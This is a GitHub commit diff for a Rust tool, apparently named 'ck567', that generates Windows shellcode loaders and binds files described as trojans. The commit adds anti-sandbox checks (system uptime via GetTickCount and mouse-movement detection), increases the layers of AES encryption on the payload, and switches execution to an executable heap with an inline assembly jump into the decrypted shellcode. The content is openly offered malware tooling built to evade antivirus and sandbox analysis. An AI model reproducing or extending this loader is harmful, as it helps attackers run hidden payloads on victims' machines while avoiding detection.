Skip to content

Commit 58bfbbd

Browse files
committed
更新: 内存加载方式,支持设置反沙盒 参数
1 parent 5cffce3 commit 58bfbbd

File tree

3 files changed

+41
-44
lines changed

3 files changed

+41
-44
lines changed

src/core/loader.rs

+11-4
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@ const iv_placeholder: &str = "${iv}";
2727
const base64Str_placeholder: &str = "${base64Str}";
2828
const package_placeholder: &str = "${packageName}";
2929
const hexCode_placeholder: &str = "${hexCode}";
30+
const tick_count_placeholder: &str = "${tick_count}";
31+
const mouse_movement_detection_placeholder: &str = "${mouse_movement_detection}";
3032

3133
#[derive(Serialize, Deserialize)]
3234
pub struct ScInfo {
@@ -55,7 +57,7 @@ impl Loader for ShellCodeHandler {
5557
let mut tem_str: Vec<u8> = shellcode;
5658
let mut vec = Vec::new();
5759
let mut rng = thread_rng();
58-
let loop_count = rng.gen_range(1..4);
60+
let loop_count = rng.gen_range(3..8);
5961
for i in 0..loop_count {
6062
let (key, iv, ciphertext) = aesEncrypt(&tem_str);
6163
tem_str = ciphertext;
@@ -69,7 +71,10 @@ impl Loader for ShellCodeHandler {
6971

7072
// let mainFile_str = &mainFile_str.replace(&iv_placeholder, &iv);
7173
// let mainFile_str = &mainFile_str.replace(&key_placeholder, &key);
74+
let tem=&self.op_time*1000;
7275
let mainFile_str = &mainFile_str.replace(&hexCode_placeholder, &hex::encode(&json_str));
76+
let mainFile_str = &mainFile_str.replace(&tick_count_placeholder, tem.to_string().as_str());
77+
let mainFile_str = &mainFile_str.replace(&mouse_movement_detection_placeholder, &self.mouse_movement_detection.to_string().as_str());
7378
let cargoToml_str = &cargoToml_str.replace(&package_placeholder, &self.package_name);
7479

7580

@@ -84,7 +89,7 @@ impl Loader for ShellCodeHandler {
8489
let _ = write(format!("loader/src/main.rs"), mainFile_str);
8590
let _ = write(format!("loader/Cargo.toml"), cargoToml_str);
8691
let _ = write(format!("loader/build.rs"), buildRs_str);
87-
complie();
92+
complie();
8893
}
8994
}
9095

@@ -129,7 +134,7 @@ impl Loader for BindHandler {
129134
let trojan_file = read(&self.trojan_file_path).expect(&format!("文件读取失败:{}", &self.trojan_file_path));
130135
let _ = write(format!("loader/tep/{}.exe", file_stem_name), trojan_file);
131136

132-
complie();
137+
//complie();
133138
}
134139
}
135140

@@ -142,14 +147,16 @@ pub fn complie() {
142147
.expect("编译失败!");
143148

144149
let status = cmd.wait();
145-
let _ = remove_dir_all("loader");
150+
let _ = remove_dir_all("loader2");
146151
}
147152

148153

149154
pub struct ShellCodeHandler {
150155
pub(crate) file_path: String,
151156
pub(crate) package_name: String,
152157
pub(crate) ico: String,
158+
pub(crate) op_time: i64,
159+
pub(crate) mouse_movement_detection: bool,
153160
}
154161

155162
pub struct BindHandler {

src/main.rs

+16-3
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ fn main() {
3434
░ ░ ░ ░
3535
3636
");
37-
println!("version:0.2");
37+
println!("version:0.3");
3838

3939
let matches = Command::new("ck567")
4040
.subcommands([
@@ -68,7 +68,17 @@ fn main() {
6868
.short('i')
6969
.help("exe ico")
7070
.required(false)
71-
)
71+
).arg(
72+
Arg::new("opTime")
73+
.short('t')
74+
.help("反沙盒:计算机运⾏时间 默认3600s 单位:秒 如果当前计算机小于 该参数则不执行。 op-time<0则 不检测")
75+
.required(false)
76+
).arg(
77+
Arg::new("mouseMovementDetection")
78+
.short('m')
79+
.help("反沙盒: 鼠标移动检测 如果当前计算机 鼠标没有移动过则不执行")
80+
.required(false)
81+
)
7282
]
7383
)
7484
.get_matches();
@@ -82,8 +92,11 @@ fn main() {
8292
} else {
8393
ico = String::new();
8494
}
95+
let string = String::from("3600");
96+
let op_time = sub_m.get_one::<String>("opTime").or_else(||Some(&string)).unwrap().clone();
97+
let mouse_movement_detection = sub_m.get_one::<bool>("mouseMovementDetection").or_else(||Some(&true)).unwrap().clone();
8598

86-
let shell_code_loader = ShellCodeHandler { file_path: fp, package_name: name, ico };
99+
let shell_code_loader = ShellCodeHandler { file_path: fp, package_name: name, ico, op_time:op_time.clone().parse().unwrap(), mouse_movement_detection };
87100
shell_code_loader.load();
88101
} else if let Some(sub_m_1) = matches.subcommand_matches("bundle") {
89102
let fp = sub_m_1.get_one::<String>("file").unwrap().clone();

temp/shellcode/main.rs

+14-37
Original file line numberDiff line numberDiff line change
@@ -12,19 +12,13 @@ use hex;
1212
use libaes::Cipher;
1313
use obfstr::obfstr as s;
1414
use rand::Rng;
15+
use winapi::um::heapapi::{HeapAlloc, HeapCreate};
1516
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
1617
use winapi::um::sysinfoapi::GetTickCount;
17-
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
18+
use winapi::um::winnt::{HEAP_CREATE_ENABLE_EXECUTE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READONLY};
1819
use winapi::um::winuser::{GetCursorPos, GetLastInputInfo, LASTINPUTINFO, MOUSEMOVEPOINT};
1920
use serde::{Deserialize, Serialize};
2021

21-
type CustomVirtualAlloc = unsafe extern "system" fn(
22-
lpAddress: *mut winapi::ctypes::c_void,
23-
dwSize: usize,
24-
flAllocationType: u32,
25-
flProtect: u32,
26-
) -> *mut winapi::ctypes::c_void;
27-
2822
#[derive(Serialize, Deserialize)]
2923
pub struct ScInfo{
3024
base64_str:String,
@@ -55,36 +49,15 @@ fn main() {
5549
let shellCode = &aesShellCode;
5650

5751
let flen = shellCode.len();
58-
thread::sleep(Duration::from_secs(2));
59-
60-
61-
let Kname = hex::decode(s!("6b65726e656c33322e646c6c")).expect("hex decode err");
62-
let Vname = hex::decode(s!("5669727475616c416c6c6f63")).expect("hex decode err");
63-
let kernel32 = CString::new(Kname).expect("CString::new failed");
64-
let virtual_alloc = CString::new(Vname).expect("CString::new failed");
65-
66-
67-
let h_module = unsafe { GetModuleHandleA(kernel32.as_ptr()) };
68-
69-
// 隐藏 VirtualAlloc
70-
let fn_virtual_alloc = unsafe {
71-
mem::transmute::<*const (), CustomVirtualAlloc>(
72-
GetProcAddress(
73-
h_module,
74-
virtual_alloc.as_ptr(),
75-
) as *const ())
76-
};
7752

78-
let new_buf = unsafe { fn_virtual_alloc(0 as _, flen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) };
79-
80-
let new_buf_ptr_1: *mut u8 = new_buf as *mut u8 as _;
81-
unsafe { std::ptr::copy_nonoverlapping(shellCode.as_ptr(), new_buf_ptr_1, flen) };
82-
83-
thread::sleep(Duration::from_secs(2));
53+
thread::sleep(Duration::from_secs(1));
8454
unsafe {
85-
let jmp_target = new_buf.offset(0 as isize);
55+
let heap= HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
56+
let alloc = HeapAlloc(heap, 8, flen);
57+
std::ptr::copy_nonoverlapping(shellCode.as_ptr(), alloc as *mut u8, flen);
58+
let jmp_target = alloc.offset(0 as isize);
8659
asm!("jmp {}", in(reg) jmp_target)
87-
};
60+
}
8861
}
8962

9063
pub fn aesDecrypt(key: &String, iv: &String, ciphertext: Vec<u8>) -> Vec<u8> {
@@ -94,7 +67,8 @@ pub fn aesDecrypt(key: &String, iv: &String, ciphertext: Vec<u8>) -> Vec<u8> {
9467

9568
pub unsafe fn analy_environment() -> bool {
9669
let tick_count = GetTickCount();
97-
if tick_count <= 3600000 {
70+
let v1= ${tick_count};
71+
if i64::from(tick_count) <= v1 && v1>0 {
9872
println!("开机时间过短");
9973
return false;
10074
}
@@ -104,7 +78,10 @@ pub unsafe fn analy_environment() -> bool {
10478
dwTime: 0,
10579
};
10680
last_input_info.cbSize = mem::size_of::<LASTINPUTINFO>() as u32;
107-
81+
let v2= ${mouse_movement_detection};
82+
if !v2 {
83+
return true;
84+
}
10885

10986
if GetLastInputInfo(&mut last_input_info as *mut LASTINPUTINFO) != 0 {
11087
let last_input_time = last_input_info.dwTime;

0 commit comments

Comments
 (0)